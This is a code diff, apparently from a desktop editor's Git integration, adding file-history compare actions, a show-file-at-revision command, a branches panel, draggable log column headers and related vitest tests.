const target = await screen.findByRole("textbox", { name: "Target branch of b" });
|
||||
expect(screen.getByRole("button", { name: "Push" })).toBeEnabled();
|
||||
fireEvent.change(target, { target: { value: "release" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Push" }));
|
||||
await waitFor(() => expect(mocks.ops).toHaveLength(1));
|
||||
expect(mocks.ops[0]?.repo).toBe("/p/b");
|
||||
});
|
||||
|
||||
it("asks to confirm each forced target and pushes nothing when one is declined", async () => {
|
||||
mocks.ask.mockResolvedValueOnce({ button: "force", checked: false }).mockResolvedValueOnce({ button: null });
|
||||
await openPushDialog();
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const editor = vi.hoisted(() => ({ openFile: vi.fn(), openInput: vi.fn() }));
|
||||
vi.mock("@/workbench/contributions", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("@/workbench/contributions")>()),
|
||||
editorService: () => editor,
|
||||
}));
|
||||
|
||||
import { openRevisionFile } from "../revisionInput";
|
||||
import { useVcs } from "../store";
|
||||
|
||||
beforeEach(() => {
|
||||
editor.openFile.mockReset();
|
||||
editor.openInput.mockReset();
|
||||
useVcs.setState({ root: "/project" });
|
||||
});
|
||||
|
||||
describe("openRevisionFile", () => {
|
||||
it("routes project revisions through the registered read-only file URI", () => {
|
||||
openRevisionFile("/repo", "a".repeat(40), "old/name.ts");
|
||||
|
||||
const uri = editor.openFile.mock.calls[0]![0] as string;
|
||||
const hex = uri.slice("git-revision:".length).split("/", 1)[0]!;
|
||||
const encoded = Uint8Array.from(hex.match(/.{2}/g)!, (byte) => Number.parseInt(byte, 16));
|
||||
expect(JSON.parse(new TextDecoder().decode(encoded))).toEqual({
|
||||
repo: "/repo",
|
||||
revision: "a".repeat(40),
|
||||
path: "old/name.ts",
|
||||
});
|
||||
expect(editor.openFile).toHaveBeenCalledWith(uri, { focus: true });
|
||||
expect(editor.openInput).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("routes external revisions through the standalone read-only editor input", () => {
|
||||
useVcs.setState({ root: null });
|
||||
openRevisionFile("/external/repo", "b".repeat(40), "src/file.ts", true);
|
||||
|
||||
expect(editor.openInput).toHaveBeenCalledWith({
|
||||
kind: "git-revision",
|
||||
key: `git-revision:/external/repo\0${"b".repeat(40)}\0src/file.ts`,
|
||||
data: { repo: "/external/repo", revision: "b".repeat(40), path: "src/file.ts", external: true },
|
||||
});
|
||||
expect(editor.openFile).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -411,7 +411,7 @@ export function registerVcsActions(): () => void {
|
||||
when: VCS,
|
||||
// ⌘D duplicates the line inside a text editor; Git › Show Diff still works there.
|
||||
// In the Git Log's changed files it shows the commit's diff instead.
|
||||
keyWhen: "!editorTextFocus && !vcsLogChangesFocus",
|
||||
keyWhen: "!editorTextFocus && !vcsLogChangesFocus && !vcsLogRevisionFocus",
|
||||
run: async ({ arg, ctx }) => {
|
||||
if (ctx.shelfFocus && arg === undefined) return showShelfDiff();
|
||||
const line =
|
||||
|
||||
@@ -26,6 +26,7 @@ import {
|
||||
lineNumberMarkers,
|
||||
lineNumberWidgetMarker,
|
||||
lineNumbers,
|
||||
tooltips,
|
||||
WidgetType,
|
||||
type DecorationSet,
|
||||
type ViewUpdate,
|
||||
@@ -40,7 +41,7 @@ import { findExtension } from "@/editor/core/cm/find";
|
||||
import { overviewLane, overviewLaneIn } from "@/editor/core/cm/lanes";
|
||||
import { LINE_INSET } from "@/editor/core/cm/lineInset";
|
||||
import { caretExtension } from "@/editor/core/cm/prefs";
|
||||
import { fontExtension } from "@/editor/core/cm/setup";
|
||||
import { fontExtension, tooltipBounds } from "@/editor/core/cm/setup";
|
||||
import { caretStyles, findLocals, findStyles, overviewStyles } from "@/editor/core/cm/theme";
|
||||
import { editorPrefs } from "@/platform/editorSettings";
|
||||
import { useProject } from "@/platform/project";
|
||||
@@ -522,6 +523,16 @@ export function viewerBase(opts: {
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Tooltips of a pane showing an open document (quick docs, ⌘-hover info), parented to the
|
||||
* body as the editor's are, so the pane neither clips them nor keeps them under the tool
|
||||
* window stripes, and they move left to fit.
|
||||
*/
|
||||
export const documentTooltips: Extension = tooltips({
|
||||
parent: typeof document === "undefined" ? undefined : document.body,
|
||||
tooltipSpace: tooltipBounds,
|
||||
});
|
||||
|
||||
const cache = new Map<string, Promise<LanguageSupport | null>>();
|
||||
|
||||
/**
|
||||
|
||||
@@ -35,6 +35,7 @@ import {
|
||||
revertCommits,
|
||||
showCompareVersions,
|
||||
showCompareWithLocal,
|
||||
showFileAtRevision,
|
||||
showResetDialog,
|
||||
showTagDialog,
|
||||
} from "./operations";
|
||||
@@ -75,6 +76,55 @@ export function commitArg(arg: unknown): Commit | null {
|
||||
return commits.find((c) => commitKey(c) === id) ?? null;
|
||||
}
|
||||
|
||||
export interface FileHistoryCommitArg {
|
||||
kind: "file-history-commit";
|
||||
commit: Commit;
|
||||
target: string;
|
||||
}
|
||||
|
||||
export interface FileHistoryCommitsArg {
|
||||
kind: "file-history-commits";
|
||||
commits: Commit[];
|
||||
target: string;
|
||||
}
|
||||
|
||||
function isCommit(value: unknown): value is Commit {
|
||||
return !!value && typeof value === "object" && "id" in value && "summary" in value;
|
||||
}
|
||||
|
||||
function isFileHistoryCommitArg(arg: unknown): arg is FileHistoryCommitArg {
|
||||
return (
|
||||
!!arg &&
|
||||
typeof arg === "object" &&
|
||||
"kind" in arg &&
|
||||
arg.kind === "file-history-commit" &&
|
||||
"commit" in arg &&
|
||||
isCommit(arg.commit) &&
|
||||
"target" in arg &&
|
||||
typeof arg.target === "string"
|
||||
);
|
||||
}
|
||||
|
||||
function isFileHistoryCommitsArg(arg: unknown): arg is FileHistoryCommitsArg {
|
||||
return (
|
||||
!!arg &&
|
||||
typeof arg === "object" &&
|
||||
"kind" in arg &&
|
||||
arg.kind === "file-history-commits" &&
|
||||
"commits" in arg &&
|
||||
Array.isArray(arg.commits) &&
|
||||
arg.commits.every(isCommit) &&
|
||||
"target" in arg &&
|
||||
typeof arg.target === "string"
|
||||
);
|
||||
}
|
||||
|
||||
function activeFileHistoryTarget(): string | null {
|
||||
const state = useGitLog.getState();
|
||||
const tab = state.logTabs.find((t) => t.id === state.shownLog);
|
||||
return tab?.kind === "history" ? tab.target : null;
|
||||
}
|
||||
|
||||
/** Commits an action refers to: its argument (commit list or commit), else the Git Log selection. */
|
||||
export function commitsArg(arg: unknown): Commit[] {
|
||||
if (Array.isArray(arg)) return arg.filter((x): x is Commit => !!x && typeof x === "object" && "id" in x);
|
||||
@@ -127,6 +177,42 @@ function withCommit(fn: (c: Commit) => unknown, allowReadOnly = false) {
|
||||
};
|
||||
}
|
||||
|
||||
/** Compare with Local alone uses the active File History's file instead of the repository tree. */
|
||||
function withHistoryAwareCompare(fn: (c: Commit, historyTarget?: string | null) => unknown) {
|
||||
return async ({ arg }: { arg?: unknown }) => {
|
||||
const scoped = isFileHistoryCommitArg(arg) ? arg : null;
|
||||
const historyTarget = scoped?.target ?? (arg == null ? activeFileHistoryTarget() : null);
|
||||
const c = scoped?.commit ?? commitArg(arg);
|
||||
if (!c) {
|
||||
notifications().notify({ group: "vcs", level: "info", title: "Select a commit in the Git log" });
|
||||
return;
|
||||
}
|
||||
if ("readOnly" in c && c.readOnly === true) return;
|
||||
const repo = commitRepo(c);
|
||||
if (repo) await focusRepo(repo);
|
||||
void fn(c, historyTarget);
|
||||
};
|
||||
}
|
||||
|
||||
/** Compare Versions uses the active File History file only for scoped or no-argument invocations. */
|
||||
function withHistoryAwareCompareVersions(fn: (cs: Commit[], historyTarget?: string | null) => unknown) {
|
||||
return async ({ arg }: { arg?: unknown }) => {
|
||||
const scoped = isFileHistoryCommitsArg(arg) ? arg : null;
|
||||
const historyTarget = scoped?.target ?? (arg == null ? activeFileHistoryTarget() : null);
|
||||
const cs = scoped?.commits ?? commitsArg(arg);
|
||||
if (cs.length !== 2) {
|
||||
notifications().notify({ group: "vcs", level: "info", title: "Select two commits to compare" });
|
||||
return;
|
||||
}
|
||||
if (new Set(cs.map(commitRepo)).size > 1) return;
|
||||
const readOnly = cs.some((c) => "readOnly" in c && c.readOnly === true);
|
||||
if (readOnly) return;
|
||||
const repo = commitRepo(cs[0]!);
|
||||
if (repo) await focusRepo(repo);
|
||||
void fn(cs, historyTarget);
|
||||
};
|
||||
}
|
||||
|
||||
/** Paths an action on changes refers to: argument, else the change tree's selection (Commit window or Git › Local Changes). */
|
||||
function changePaths(arg: unknown): string[] | undefined {
|
||||
if (Array.isArray(arg)) return arg.filter((x): x is string => typeof x === "string");
|
||||
@@ -311,7 +397,22 @@ export function registerHistoryActions(): () => void {
|
||||
category: "Git Log",
|
||||
icon: "diff",
|
||||
when: VCS,
|
||||
run: withCommit(showCompareWithLocal),
|
||||
run: withHistoryAwareCompare(showCompareWithLocal),
|
||||
},
|
||||
{
|
||||
id: "vcs.log.showFileAtRevision",
|
||||
title: "Show File at Revision",
|
||||
category: "Git Log",
|
||||
icon: "file",
|
||||
when: "vcsAvailable || projectOpen || vcsLogFocus",
|
||||
hidden: true,
|
||||
run: ({ arg }) => {
|
||||
const scoped = isFileHistoryCommitArg(arg) ? arg : null;
|
||||
const commit = scoped?.commit ?? commitArg(arg);
|
||||
const target = scoped?.target ?? (arg == null ? activeFileHistoryTarget() : null);
|
||||
const readOnly = !!commit && "readOnly" in commit && commit.readOnly === true;
|
||||
if (commit && target) showFileAtRevision(commit, target, readOnly);
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "vcs.log.compareVersions",
|
||||
@@ -319,13 +420,9 @@ export function registerHistoryActions(): () => void {
|
||||
category: "Git Log",
|
||||
icon: "diff",
|
||||
when: VCS,
|
||||
run: withCommits((cs) => {
|
||||
if (cs.length !== 2) {
|
||||
notifications().notify({ group: "vcs", level: "info", title: "Select two commits to compare" });
|
||||
return;
|
||||
}
|
||||
run: withHistoryAwareCompareVersions((cs, historyTarget) => {
|
||||
// Newest first, as the log shows them.
|
||||
showCompareVersions(cs[1]!, cs[0]!);
|
||||
showCompareVersions(cs[1]!, cs[0]!, historyTarget);
|
||||
}),
|
||||
},
|
||||
{
|
||||
|
||||
@@ -0,0 +1,312 @@
|
||||
import type { Branch } from "@/bindings";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
import { hasPrimaryModifier } from "@/platform/keymap";
|
||||
import { IconButton, SearchField, T, Tree, copyText, showContextMenu, type MenuItem } from "@/ui";
|
||||
import { useContext, useEffect, useMemo, useState, type KeyboardEvent, type ReactNode } from "react";
|
||||
import {
|
||||
branchFolderKeys,
|
||||
branchGroupKeys,
|
||||
buildBranchTree,
|
||||
buildRepositoryBranchTree,
|
||||
filterBranchTree,
|
||||
isFavoriteBranch,
|
||||
type BranchTreeNode,
|
||||
} from "../branches";
|
||||
import { branchMenu, inRepo, tagMenu } from "../branchMenu";
|
||||
import { canDeleteBranch, loadFavoriteBranches, useFavoriteBranches } from "../branchOps";
|
||||
import { BranchSync } from "../BranchSync";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { LogIdContext } from "../logContext";
|
||||
import { canUpdateBranch, useBranchesPane, type BranchTarget } from "../logPaneActions";
|
||||
import { reloadLog, setLogBranches, setLogFilters, useGitLog } from "../logStore";
|
||||
import { branchesByRepo } from "../multiRoot";
|
||||
import { currentRepo, loadBranches, repoName, useVcs } from "../store";
|
||||
import { useLogRepositories, useReadOnlyLog } from "./logHooks";
|
||||
|
||||
// --- branches ---------------------------------------------------------------
|
||||
|
||||
function branchDetail(n: BranchTreeNode): ReactNode {
|
||||
const b = n.branch;
|
||||
if (!b) return undefined;
|
||||
if (!b.current && b.behind <= 0 && b.ahead <= 0) return undefined;
|
||||
return (
|
||||
<span className={styles.branchDetail}>
|
||||
{b.current && <span>{tx("current")}</span>}
|
||||
<BranchSync behind={b.behind} ahead={b.ahead} />
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
export function BranchesPanel() {
|
||||
const scope = useContext(LogIdContext);
|
||||
const shown = useGitLog((s) => s.shownLog);
|
||||
const active = !scope || scope === shown;
|
||||
const logGeneration = useGitLog((s) => s.generation);
|
||||
const selectedBranches = useVcs((s) => s.branches);
|
||||
const repositories = useLogRepositories();
|
||||
const readOnly = useReadOnlyLog();
|
||||
const version = useVcs((s) => s.version);
|
||||
const [allBranches, setAllBranches] = useState<Record<string, Branch[]>>({});
|
||||
const [allTags, setAllTags] = useState<Record<string, string[]>>({});
|
||||
const currentRepository = currentRepo();
|
||||
const branches = useMemo(
|
||||
() =>
|
||||
repositories.length === 1 && repositories[0] !== currentRepository
|
||||
? (allBranches[repositories[0]!] ?? [])
|
||||
: selectedBranches,
|
||||
[repositories, currentRepository, allBranches, selectedBranches],
|
||||
);
|
||||
const root = useVcs((s) => s.root);
|
||||
const branchesLoaded = useVcs((s) => s.branchesLoaded);
|
||||
const current = useVcs((s) => s.branch?.head ?? null);
|
||||
const favorites = useFavoriteBranches((s) => s.names);
|
||||
const filterBranches = useGitLog((s) => s.filters.branches);
|
||||
const filterRepositories = useGitLog((s) => s.filters.repositories);
|
||||
const [query, setQuery] = useState("");
|
||||
const [tags, setTags] = useState<string[]>([]);
|
||||
useEffect(() => loadFavoriteBranches(), [root]);
|
||||
// Branches reload when refs move (fetch, new tag…): the tags are re-read with them.
|
||||
useEffect(() => {
|
||||
let live = true;
|
||||
call(commands.vcsTags(repositories[0] ?? currentRepo())).then(
|
||||
(t) => live && setTags(t),
|
||||
() => live && setTags([]),
|
||||
);
|
||||
return () => {
|
||||
live = false;
|
||||
};
|
||||
}, [root, branches, repositories]);
|
||||
useEffect(() => {
|
||||
let live = true;
|
||||
void branchesByRepo(repositories)
|
||||
.then((value) => live && setAllBranches(value))
|
||||
.catch(() => undefined);
|
||||
void Promise.all(repositories.map(async (r) => [r, await call(commands.vcsTags(r))] as const))
|
||||
.then((value) => live && setAllTags(Object.fromEntries(value)))
|
||||
.catch(() => undefined);
|
||||
return () => {
|
||||
live = false;
|
||||
};
|
||||
}, [repositories, version, logGeneration]);
|
||||
const allRoots = useMemo(() => {
|
||||
if (repositories.length < 2) return buildBranchTree(branches, favorites, tags);
|
||||
return buildRepositoryBranchTree(
|
||||
repositories.map((repo) => ({
|
||||
root: repo,
|
||||
name: repoName(repo),
|
||||
branches: allBranches[repo] ?? [],
|
||||
tags: allTags[repo] ?? [],
|
||||
})),
|
||||
favorites,
|
||||
);
|
||||
}, [repositories, allBranches, allTags, branches, favorites, tags]);
|
||||
const roots = useMemo(() => filterBranchTree(allRoots, query), [allRoots, query]);
|
||||
// While searching every match is shown expanded.
|
||||
const searchExpanded = useMemo(() => (query.trim() ? new Set(branchGroupKeys(roots)) : undefined), [roots, query]);
|
||||
// Highlighted rows: a click only selects (IDEA), and only a double click or
|
||||
// Enter switches the log, so the selection is the pane's own state. It still
|
||||
// follows the filter when something else changes it (Show Log, the filter bar).
|
||||
const filterKeys = useMemo(
|
||||
() =>
|
||||
filterBranches.flatMap((b) => {
|
||||
if (b === "HEAD") return ["head"];
|
||||
if (repositories.length < 2) return [`b:${b}`];
|
||||
return (filterRepositories?.length ? filterRepositories : repositories).map((r) => `${r}:b:${b}`);
|
||||
}),
|
||||
[filterBranches, filterRepositories, repositories],
|
||||
);
|
||||
const filterKey = filterKeys.join("\n");
|
||||
const [shownKey, setShownKey] = useState(filterKey);
|
||||
const [selected, setSelected] = useState<ReadonlySet<string>>(() => new Set(filterKeys));
|
||||
if (shownKey !== filterKey) {
|
||||
// The filter changed elsewhere (Show Log, the filter bar): highlight it.
|
||||
setShownKey(filterKey);
|
||||
setSelected(new Set(filterKeys));
|
||||
}
|
||||
// Refs in tree order, for Copy: full refs, so the folder path comes along
|
||||
// (`feat/x`, `origin/main`).
|
||||
const refs = useMemo(() => {
|
||||
const out: { key: string; ref: string; branch?: Branch; repo?: string }[] = [];
|
||||
const walk = (nodes: readonly BranchTreeNode[]) => {
|
||||
for (const n of nodes) {
|
||||
if (n.ref) out.push({ key: n.key, ref: n.ref, branch: n.branch, repo: n.repo });
|
||||
walk(n.children ?? []);
|
||||
}
|
||||
};
|
||||
walk(allRoots);
|
||||
return out;
|
||||
}, [allRoots]);
|
||||
const targets = useMemo(
|
||||
(): BranchTarget[] =>
|
||||
refs.filter((r) => selected.has(r.key)).map(({ ref, branch, repo }) => ({ ref, branch, repo })),
|
||||
[refs, selected],
|
||||
);
|
||||
useEffect(() => {
|
||||
if (!active) return;
|
||||
useBranchesPane.setState({ selected: targets });
|
||||
return () => useBranchesPane.setState({ selected: [] });
|
||||
}, [targets, active]);
|
||||
const target = targets[0] ?? undefined;
|
||||
const favorite = !!target?.branch && isFavoriteBranch(target.branch, favorites);
|
||||
const onKeyDownCapture = (e: KeyboardEvent<HTMLDivElement>) => {
|
||||
if ((e.key !== "c" && e.key !== "C") || !hasPrimaryModifier(e) || e.altKey || e.shiftKey) return;
|
||||
// The branch search keeps the browser's own copy.
|
||||
if ((e.target as HTMLElement).closest("input, textarea")) return;
|
||||
const names = targets.map((r) => r.ref);
|
||||
if (!names.length) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
void copyText(names.join("\n"));
|
||||
};
|
||||
return (
|
||||
<div className={styles.branches} onKeyDownCapture={onKeyDownCapture}>
|
||||
<div className={styles.branchesTools} role="toolbar" aria-orientation="vertical" aria-label={tx("Branches")}>
|
||||
<IconButton icon="chevron-left" title="Hide Branches" size="small" action="vcs.log.showBranches" />
|
||||
{!readOnly && (
|
||||
<>
|
||||
<IconButton icon="plus" title="New Branch…" size="small" action="vcs.log.branches.new" actionArg={target} />
|
||||
<IconButton
|
||||
icon="git-pull"
|
||||
size="small"
|
||||
title="Update Selected"
|
||||
action="vcs.log.branches.update"
|
||||
actionArg={target}
|
||||
disabled={!canUpdateBranch(target ?? null)}
|
||||
/>
|
||||
<IconButton
|
||||
icon="trash"
|
||||
size="small"
|
||||
title="Delete Branch"
|
||||
action="vcs.log.branches.delete"
|
||||
actionArg={targets}
|
||||
disabled={!targets.some((t) => canDeleteBranch(t))}
|
||||
/>
|
||||
<IconButton
|
||||
icon="locate"
|
||||
size="small"
|
||||
title="Navigate Log to Selected Branch"
|
||||
action="vcs.log.branches.navigate"
|
||||
actionArg={target}
|
||||
disabled={!target}
|
||||
/>
|
||||
<IconButton
|
||||
icon={favorite ? "star" : "star-outline"}
|
||||
title={favorite ? "Remove from Favorites" : "Add to Favorites"}
|
||||
size="small"
|
||||
action="vcs.log.branches.toggleFavorite"
|
||||
actionArg={target}
|
||||
pressed={favorite}
|
||||
disabled={!target?.branch}
|
||||
/>
|
||||
<IconButton icon="git-fetch" title="Fetch" size="small" action="vcs.fetch" />
|
||||
</>
|
||||
)}
|
||||
<IconButton
|
||||
icon="refresh"
|
||||
title="Refresh"
|
||||
size="small"
|
||||
onClick={() => (readOnly ? void reloadLog({ preserve: true }) : void loadBranches())}
|
||||
/>
|
||||
</div>
|
||||
<div className={styles.branchesMain}>
|
||||
<div className={styles.branchesBar}>
|
||||
<SearchField
|
||||
className={styles.branchSearch}
|
||||
value={query}
|
||||
onChange={setQuery}
|
||||
placeholder="Branch or tag"
|
||||
aria-label="Filter branches and tags"
|
||||
/>
|
||||
</div>
|
||||
<Tree<BranchTreeNode>
|
||||
key={`${root ?? ""}:${branchesLoaded}`}
|
||||
roots={roots}
|
||||
getKey={(n) => n.key}
|
||||
getLabel={(n) => (n.kind === "head" || n.kind === "group" ? tx(n.label) : n.label)}
|
||||
getChildren={(n) => n.children}
|
||||
isExpandable={(n) => !!n.children}
|
||||
defaultExpanded={[
|
||||
...branchGroupKeys(allRoots),
|
||||
"g:local",
|
||||
"g:remote",
|
||||
...roots.flatMap((r) => r.children?.filter((c) => c.kind === "remote").map((c) => c.key) ?? []),
|
||||
...(current ? branchFolderKeys(roots, current) : []),
|
||||
]}
|
||||
expanded={searchExpanded}
|
||||
getIcon={(n) =>
|
||||
n.kind === "head"
|
||||
? "commit"
|
||||
: n.kind === "tag"
|
||||
? "tag"
|
||||
: n.branch?.current
|
||||
? "current-branch"
|
||||
: n.kind === "branch"
|
||||
? n.favorite
|
||||
? "star"
|
||||
: "branch"
|
||||
: "folder"
|
||||
}
|
||||
getDetail={branchDetail}
|
||||
selected={selected}
|
||||
onSelectionChange={(sel) => setSelected(sel)}
|
||||
onActivate={(n) => {
|
||||
// IDEA: double click (or Enter) switches the log to that ref, or to every
|
||||
// selected one when it is part of a multi-selection; checking out stays in the context menu.
|
||||
if (!n.ref) return;
|
||||
const sel = selected.has(n.key) ? targets.filter((r) => r.repo === n.repo).map((r) => r.ref) : [n.ref];
|
||||
setLogFilters({ branches: sel, repositories: n.repo ? [n.repo] : [] });
|
||||
}}
|
||||
onContextMenu={(n, _sel, e) => {
|
||||
if (readOnly) {
|
||||
if (!n?.ref) return;
|
||||
e.preventDefault();
|
||||
showContextMenu(e, [
|
||||
{ label: "Show in Git Log", run: () => setLogBranches([n.ref!]) },
|
||||
{ label: "Copy", run: () => void copyText(n.ref!) },
|
||||
]);
|
||||
return;
|
||||
}
|
||||
// The menu acts on the whole selection when the right-clicked branch is part of it.
|
||||
const picked: BranchTarget[] =
|
||||
n && selected.has(n.key) ? targets : n?.ref ? [{ ref: n.ref, branch: n.branch, repo: n.repo }] : [];
|
||||
const menu = n?.branch
|
||||
? branchMenu(
|
||||
n.branch,
|
||||
n.repo ? (useVcs.getState().heads[n.repo]?.head ?? null) : current,
|
||||
() => {},
|
||||
picked,
|
||||
)
|
||||
: n?.kind === "tag"
|
||||
? tagMenu(n.ref!)
|
||||
: n?.kind === "remote" || (n?.kind === "group" && n.key.endsWith("g:remote"))
|
||||
? REMOTES_MENU
|
||||
: [];
|
||||
// Delete scopes each selected target itself and must preserve the original focus.
|
||||
const items = n?.repo
|
||||
? menu.flatMap((item) =>
|
||||
n.branch && "label" in item && item.label === "Delete" ? [item] : inRepo(n.repo!, [item]),
|
||||
)
|
||||
: menu;
|
||||
if (!items.length) return;
|
||||
e.preventDefault();
|
||||
showContextMenu(e, items);
|
||||
}}
|
||||
empty={
|
||||
query.trim() ? (
|
||||
<span className={styles.muted}>
|
||||
<T>No matching branches</T>
|
||||
</span>
|
||||
) : undefined
|
||||
}
|
||||
aria-label="Branches"
|
||||
className={styles.branchTree}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** IDEA: the Remote node and each remote of the Branches pane offer Manage Remotes…. */
|
||||
const REMOTES_MENU: MenuItem[] = [{ label: "Manage Remotes…", run: () => void executeAction("vcs.manageRemotes") }];
|
||||
@@ -0,0 +1,243 @@
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { lockDragCursor, showContextMenu } from "@/ui";
|
||||
import clsx from "clsx";
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { logOptions, type LogOptions } from "../logOptions";
|
||||
import { updateLogOptions } from "../logStore";
|
||||
import { useVcs } from "../store";
|
||||
import { SUBJECT_COLUMN, columnSequence, type LogColumn } from "./shared";
|
||||
|
||||
interface ColumnDrag {
|
||||
id: string;
|
||||
target: string | null;
|
||||
after: boolean;
|
||||
}
|
||||
|
||||
export function ColumnHeaders({
|
||||
columns,
|
||||
options,
|
||||
minWidth,
|
||||
}: {
|
||||
columns: LogColumn[];
|
||||
options: LogOptions;
|
||||
minWidth: number;
|
||||
}) {
|
||||
const [drag, setDrag] = useState<ColumnDrag | null>(null);
|
||||
const ids = columnSequence(options.columnOrder, columns);
|
||||
const cancel = useCallback(() => setDrag(null), []);
|
||||
const move = (source: string, target: string | null, after: boolean) => {
|
||||
if (!target || source === target || !ids.includes(source) || !ids.includes(target)) return;
|
||||
const reordered = ids.filter((id) => id !== source);
|
||||
const to = reordered.indexOf(target);
|
||||
reordered.splice(after ? to + 1 : to, 0, source);
|
||||
updateLogOptions({ columnOrder: reordered });
|
||||
};
|
||||
const visibleIds = ids.filter((id) => id === SUBJECT_COLUMN.id || columns.some((column) => column.id === id));
|
||||
return (
|
||||
<div className={clsx(styles.row, styles.columnHeader)} style={{ minWidth }}>
|
||||
{options.showRepository && useVcs.getState().roots.length > 1 && (
|
||||
<span className={styles.colRepository}>{tx("Repository")}</span>
|
||||
)}
|
||||
{ids.map((cid) => {
|
||||
const column = cid === SUBJECT_COLUMN.id ? SUBJECT_COLUMN : columns.find((c) => c.id === cid);
|
||||
if (!column) return null;
|
||||
return (
|
||||
<LogColumnHeader
|
||||
key={cid}
|
||||
column={column}
|
||||
subject={cid === SUBJECT_COLUMN.id}
|
||||
ids={visibleIds}
|
||||
options={options}
|
||||
drag={drag}
|
||||
onMove={move}
|
||||
onDragOver={(id, target, after) =>
|
||||
setDrag((d) => (d?.id === id && d.target === target && d.after === after ? d : { id, target, after }))
|
||||
}
|
||||
onDragCancel={cancel}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Column headers reorder by pointer capture: WebView2 blocks HTML5 drag events
|
||||
// while dragDropEnabled is on, so dragging must not rely on them.
|
||||
function LogColumnHeader({
|
||||
column,
|
||||
subject,
|
||||
ids,
|
||||
options,
|
||||
drag,
|
||||
onMove,
|
||||
onDragOver,
|
||||
onDragCancel,
|
||||
}: {
|
||||
column: LogColumn;
|
||||
subject?: boolean;
|
||||
ids: string[];
|
||||
options: LogOptions;
|
||||
drag: ColumnDrag | null;
|
||||
onMove(source: string, target: string | null, after: boolean): void;
|
||||
onDragOver(id: string, target: string | null, after: boolean): void;
|
||||
onDragCancel(): void;
|
||||
}) {
|
||||
const press = useRef<{
|
||||
x: number;
|
||||
y: number;
|
||||
active: boolean;
|
||||
element: HTMLElement;
|
||||
pointerId: number;
|
||||
} | null>(null);
|
||||
const resizeDrag = useRef<{
|
||||
x: number;
|
||||
width: number;
|
||||
element: HTMLElement;
|
||||
pointerId: number;
|
||||
releaseCursor: () => void;
|
||||
} | null>(null);
|
||||
const cancel = useCallback(() => {
|
||||
const captures = [press.current, resizeDrag.current];
|
||||
press.current = null;
|
||||
resizeDrag.current?.releaseCursor();
|
||||
resizeDrag.current = null;
|
||||
for (const capture of captures)
|
||||
if (capture?.element.hasPointerCapture?.(capture.pointerId))
|
||||
capture.element.releasePointerCapture(capture.pointerId);
|
||||
onDragCancel();
|
||||
}, [onDragCancel]);
|
||||
useEffect(() => {
|
||||
const escape = (e: globalThis.KeyboardEvent) => {
|
||||
if (e.key !== "Escape" || (!press.current && !resizeDrag.current)) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
cancel();
|
||||
};
|
||||
window.addEventListener("blur", cancel);
|
||||
window.addEventListener("keydown", escape, true);
|
||||
return () => {
|
||||
window.removeEventListener("blur", cancel);
|
||||
window.removeEventListener("keydown", escape, true);
|
||||
cancel();
|
||||
};
|
||||
}, [cancel]);
|
||||
const width = options.columnWidths[column.id] ?? column.width ?? 120;
|
||||
const resize = (value: number) =>
|
||||
updateLogOptions({
|
||||
columnWidths: { ...logOptions().columnWidths, [column.id]: Math.max(40, Math.min(800, value)) },
|
||||
});
|
||||
const index = ids.indexOf(column.id);
|
||||
const hitColumn = (x: number, y: number) => {
|
||||
const el = document.elementFromPoint(x, y)?.closest?.("[data-log-column]");
|
||||
if (!el || el.parentElement !== press.current?.element.parentElement) return null;
|
||||
const rect = el.getBoundingClientRect();
|
||||
return { id: el.getAttribute("data-log-column")!, after: x > rect.left + rect.width / 2 };
|
||||
};
|
||||
return (
|
||||
<span
|
||||
className={clsx(
|
||||
styles.columnCell,
|
||||
styles.columnHeading,
|
||||
subject && styles.colSubject,
|
||||
drag?.id === column.id && styles.dragSource,
|
||||
drag &&
|
||||
drag.target === column.id &&
|
||||
drag.id !== column.id &&
|
||||
(drag.after ? styles.dropAfter : styles.dropBefore),
|
||||
)}
|
||||
style={subject ? undefined : { width }}
|
||||
data-log-column={column.id}
|
||||
onPointerDown={(e) => {
|
||||
if (e.button !== 0) return;
|
||||
press.current = { x: e.clientX, y: e.clientY, active: false, element: e.currentTarget, pointerId: e.pointerId };
|
||||
e.currentTarget.setPointerCapture?.(e.pointerId);
|
||||
}}
|
||||
onPointerMove={(e) => {
|
||||
const start = press.current;
|
||||
if (!start || start.pointerId !== e.pointerId) return;
|
||||
if (!start.active && Math.hypot(e.clientX - start.x, e.clientY - start.y) < 4) return;
|
||||
start.active = true;
|
||||
const target = hitColumn(e.clientX, e.clientY);
|
||||
onDragOver(column.id, target?.id ?? null, target?.after ?? false);
|
||||
}}
|
||||
onPointerUp={(e) => {
|
||||
const start = press.current;
|
||||
if (!start || start.pointerId !== e.pointerId) return;
|
||||
const target = hitColumn(e.clientX, e.clientY);
|
||||
if (start.active) onMove(column.id, target?.id ?? null, target?.after ?? false);
|
||||
cancel();
|
||||
}}
|
||||
onPointerCancel={cancel}
|
||||
onLostPointerCapture={cancel}
|
||||
onContextMenu={(e) => {
|
||||
e.preventDefault();
|
||||
showContextMenu(e, [
|
||||
{
|
||||
label: "Move Left",
|
||||
disabled: index === 0,
|
||||
run: () => onMove(column.id, ids[index - 1] ?? null, false),
|
||||
},
|
||||
{
|
||||
label: "Move Right",
|
||||
disabled: index === ids.length - 1,
|
||||
run: () => onMove(column.id, ids[index + 1] ?? null, true),
|
||||
},
|
||||
...(subject ? [] : [{ label: "Reset Width", run: () => resize(column.width ?? 120) }]),
|
||||
]);
|
||||
}}
|
||||
>
|
||||
{tx(column.title)}
|
||||
